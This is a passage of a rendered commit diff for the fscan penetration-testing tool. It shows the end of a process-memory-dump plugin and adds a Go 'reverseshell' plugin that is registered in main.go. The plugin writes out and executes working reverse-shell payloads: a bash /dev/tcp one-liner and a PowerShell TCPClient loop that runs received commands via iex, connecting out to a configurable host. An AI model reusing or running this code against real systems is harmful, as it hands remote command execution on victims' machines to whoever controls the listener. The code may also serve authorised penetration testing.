common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
|
||||||
return fmt.Errorf("提升权限失败: %v", err)
|
|
||||||
}
|
|
||||||
common.LogSuccess("成功提升进程权限")
|
|
||||||
|
|
||||||
// 创建输出路径
|
|
||||||
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
|
|
||||||
|
|
||||||
// 执行转储
|
|
||||||
if err := pm.DumpProcess(pid, outputPath); err != nil {
|
|
||||||
os.Remove(outputPath)
|
|
||||||
common.LogError(fmt.Sprintf("进程转储失败: %v", err))
|
|
||||||
return fmt.Errorf("进程转储失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
|
|
||||||
return nil
|
|
||||||
}
|
|
@ -1,10 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package Plugins
|
|
||||||
|
|
||||||
import "github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/shadow1ng/fscan/common/output"
|
|
||||||
|
|
||||||
func MiniDump(info *common.HostInfo) (err error) {
|
|
||||||
return nil
|
|
||||||
}
|
|
336
Plugins/local/reverseshell/plugin.go
Normal file
336
Plugins/local/reverseshell/plugin.go
Normal file
@ -0,0 +1,336 @@
|
|||||||
|
package reverseshell
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ReverseShellPlugin 反弹Shell插件
|
||||||
|
type ReverseShellPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
connector *ReverseShellConnector
|
||||||
|
target string // 目标地址:端口
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReverseShellConnector 反弹Shell连接器
|
||||||
|
type ReverseShellConnector struct {
|
||||||
|
*local.BaseLocalConnector
|
||||||
|
host string
|
||||||
|
port int
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReverseShellConnection 反弹Shell连接对象
|
||||||
|
type ReverseShellConnection struct {
|
||||||
|
*local.LocalConnection
|
||||||
|
Target string
|
||||||
|
Host string
|
||||||
|
Port int
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewReverseShellPlugin 创建反弹Shell插件
|
||||||
|
func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||||
|
// 从全局参数获取反弹Shell目标
|
||||||
|
target := common.ReverseShellTarget
|
||||||
|
if target == "" {
|
||||||
|
// 如果没有指定目标,使用默认值
|
||||||
|
target = "127.0.0.1:4444"
|
||||||
|
}
|
||||||
|
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "reverseshell",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "shell", "reverse", "crossplatform"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
connector := NewReverseShellConnector(target)
|
||||||
|
plugin := &ReverseShellPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||||
|
connector: connector,
|
||||||
|
target: target,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置支持的平台
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 不需要特殊权限
|
||||||
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewReverseShellConnector 创建反弹Shell连接器
|
||||||
|
func NewReverseShellConnector(target string) *ReverseShellConnector {
|
||||||
|
baseConnector, _ := local.NewBaseLocalConnector()
|
||||||
|
|
||||||
|
host, portStr, err := net.SplitHostPort(target)
|
||||||
|
if err != nil {
|
||||||
|
host = target
|
||||||
|
portStr = "4444" // 默认端口
|
||||||
|
}
|
||||||
|
|
||||||
|
port, err := strconv.Atoi(portStr)
|
||||||
|
if err != nil {
|
||||||
|
port = 4444 // 默认端口
|
||||||
|
}
|
||||||
|
|
||||||
|
return &ReverseShellConnector{
|
||||||
|
BaseLocalConnector: baseConnector,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 建立反弹Shell连接
|
||||||
|
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||||
|
// 先建立基础本地连接
|
||||||
|
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
baseConn := localConn.(*local.LocalConnection)
|
||||||
|
|
||||||
|
// 测试目标地址连通性
|
||||||
|
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", c.host, c.port), 5*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("无法连接到目标地址 %s:%d: %v", c.host, c.port, err)
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
|
||||||
|
reverseShellConn := &ReverseShellConnection{
|
||||||
|
LocalConnection: baseConn,
|
||||||
|
Target: fmt.Sprintf("%s:%d", c.host, c.port),
|
||||||
|
Host: c.host,
|
||||||
|
Port: c.port,
|
||||||
|
}
|
||||||
|
|
||||||
|
return reverseShellConn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭反弹Shell连接
|
||||||
|
func (c *ReverseShellConnector) Close(conn interface{}) error {
|
||||||
|
return c.BaseLocalConnector.Close(conn)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行反弹Shell扫描
|
||||||
|
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
common.LogBase("开始反弹Shell准备...")
|
||||||
|
|
||||||
|
// 建立连接
|
||||||
|
conn, err := p.connector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
defer p.connector.Close(conn)
|
||||||
|
|
||||||
|
reverseShellConn := conn.(*ReverseShellConnection)
|
||||||
|
|
||||||
|
// 生成反弹Shell命令
|
||||||
|
commands := p.generateReverseShellCommands()
|
||||||
|
currentOS := runtime.GOOS
|
||||||
|
command, exists := commands[currentOS]
|
||||||
|
if !exists {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &base.ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Service: "ReverseShell",
|
||||||
|
Banner: fmt.Sprintf("反弹Shell准备就绪 - 目标: %s 平台: %s", reverseShellConn.Target, currentOS),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"target": reverseShellConn.Target,
|
||||||
|
"platform": currentOS,
|
||||||
|
"command": command,
|
||||||
|
"status": "ready",
|
||||||
|
"commands": commands,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess(fmt.Sprintf("反弹Shell扫描完成,目标: %s,平台: %s", reverseShellConn.Target, currentOS))
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 获取反弹Shell本地数据
|
||||||
|
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
data["plugin_type"] = "reverseshell"
|
||||||
|
data["platform"] = runtime.GOOS
|
||||||
|
data["arch"] = runtime.GOARCH
|
||||||
|
data["target"] = p.target
|
||||||
|
|
||||||
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||||
|
data["home_dir"] = homeDir
|
||||||
|
}
|
||||||
|
|
||||||
|
if workDir, err := os.Getwd(); err == nil {
|
||||||
|
data["work_dir"] = workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成命令
|
||||||
|
data["commands"] = p.generateReverseShellCommands()
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 提取数据并执行反弹Shell
|
||||||
|
func (p *ReverseShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
commands, ok := data["commands"].(map[string]string)
|
||||||
|
if !ok {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("无法获取反弹Shell命令"),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
currentOS := runtime.GOOS
|
||||||
|
command, exists := commands[currentOS]
|
||||||
|
if !exists {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogBase(fmt.Sprintf("开始执行反弹Shell命令: %s", command))
|
||||||
|
|
||||||
|
// 执行反弹Shell命令
|
||||||
|
result, err := p.executeReverseShell(ctx, command)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("反弹Shell执行失败: %v", err))
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: false,
|
||||||
|
Error: err,
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"command": command,
|
||||||
|
"platform": currentOS,
|
||||||
|
"target": p.target,
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess("反弹Shell执行完成")
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: true,
|
||||||
|
Output: fmt.Sprintf("反弹Shell已执行,目标: %s", p.target),
|
||||||
|
Data: data,
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"command": command,
|
||||||
|
"platform": currentOS,
|
||||||
|
"target": p.target,
|
||||||
|
"output": result,
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// generateReverseShellCommands 生成不同平台的反弹Shell命令
|
||||||
|
func (p *ReverseShellPlugin) generateReverseShellCommands() map[string]string {
|
||||||
|
host, portStr, _ := net.SplitHostPort(p.target)
|
||||||
|
if host == "" {
|
||||||
|
host = p.target
|
||||||
|
portStr = "4444"
|
||||||
|
}
|
||||||
|
|
||||||
|
commands := map[string]string{
|
||||||
|
"linux": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
|
||||||
|
"darwin": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
|
||||||
|
"windows": fmt.Sprintf("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('%s',%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", host, portStr),
|
||||||
|
}
|
||||||
|
|
||||||
|
return commands
|
||||||
|
}
|
||||||
|
|
||||||
|
// executeReverseShell 执行反弹Shell命令
|
||||||
|
func (p *ReverseShellPlugin) executeReverseShell(ctx context.Context, command string) (string, error) {
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
// Windows PowerShell命令
|
||||||
|
cmd = exec.CommandContext(ctx, "powershell", "-Command", command)
|
||||||
|
case "linux", "darwin":
|
||||||
|
// Unix-like系统使用bash
|
||||||
|
cmd = exec.CommandContext(ctx, "bash", "-c", command)
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置超时
|
||||||
|
timeoutCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
cmd = exec.CommandContext(timeoutCtx, cmd.Args[0], cmd.Args[1:]...)
|
||||||
|
|
||||||
|
output, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("执行反弹Shell命令失败: %v, 输出: %s", err, string(output))
|
||||||
|
}
|
||||||
|
|
||||||
|
return string(output), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *ReverseShellPlugin) GetInfo() string {
|
||||||
|
commands := p.generateReverseShellCommands()
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString(fmt.Sprintf("反弹Shell插件 - 目标: %s\n", p.target))
|
||||||
|
info.WriteString("支持的平台命令:\n")
|
||||||
|
|
||||||
|
for platform, command := range commands {
|
||||||
|
info.WriteString(fmt.Sprintf(" %s: %s\n", platform, command))
|
||||||
|
}
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterReverseShellPlugin 注册反弹Shell插件
|
||||||
|
func RegisterReverseShellPlugin() {
|
||||||
|
factory := base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "reverseshell",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"reverseshell", "local", "shell", "crossplatform"},
|
||||||
|
Protocols: []string{"tcp"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewReverseShellPlugin()
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("reverseshell", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterReverseShellPlugin()
|
||||||
|
}
|
3
main.go
3
main.go
@ -11,6 +11,7 @@ import (
|
|||||||
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
|
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
|
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
|
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
@ -33,5 +34,5 @@ func main() {
|
|||||||
defer common.CloseOutput()
|
defer common.CloseOutput()
|
||||||
|
|
||||||
// 执行 CLI 扫描逻辑
|
// 执行 CLI 扫描逻辑
|
||||||
core.Scan(Info)
|
core.RunScan(Info)
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user